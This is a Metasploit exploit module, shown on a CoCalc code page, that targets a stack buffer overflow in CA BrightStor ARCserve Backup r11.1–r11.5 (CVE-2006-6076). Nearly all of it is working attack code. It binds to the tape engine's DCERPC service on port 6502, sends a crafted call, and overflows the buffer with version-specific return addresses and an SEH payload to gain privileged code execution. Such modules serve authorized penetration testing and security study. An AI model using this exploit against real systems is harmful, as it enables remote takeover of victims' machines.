CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
17
        r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
18
        the buffer and execute arbitrary code.
19
      },
20
      'Author'         => [ 'MC', 'aushack' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2006-6076' ],
25
          [ 'OSVDB', '30637' ],
26
          [ 'BID', '21221' ],
27
          [ 'EDB', '3086' ]
28
        ],
29
      'Privileged'     => true,
30
      'DefaultOptions' =>
31
        {
32
          'EXITFUNC' => 'thread',
33
        },
34
      'Payload'        =>
35
        {
36
          'Space'    => 500,
37
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
38
          'StackAdjustment' => -9500,
39
        },
40
      'Platform' => 'win',
41
      'Targets'  =>
42
          [
43
            [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
44
            [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
45
          ],
46
      'DisclosureDate' => '2006-11-21',
47
      'DefaultTarget'  => 1))
48

49
    register_options([ Opt::RPORT(6502) ])
50
  end
51

52
  def exploit
53
    connect
54

55
    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
56
    print_status("Binding to #{handle} ...")
57

58
    dcerpc_bind(handle)
59
    print_status("Bound to #{handle} ...")
60

61
    request =  "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
62
    request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
63

64
    dcerpc.call(43, request)
65

66
    filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
67
    seh    = generate_seh_payload(target.ret)
68
    sploit = filler + seh
69

70
    print_status("Trying target #{target.name}...")
71

72
      begin
73
        dcerpc_call(38, sploit)
74
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
75
      end
76

77
    handler
78
    disconnect
79
  end
80
end
81

82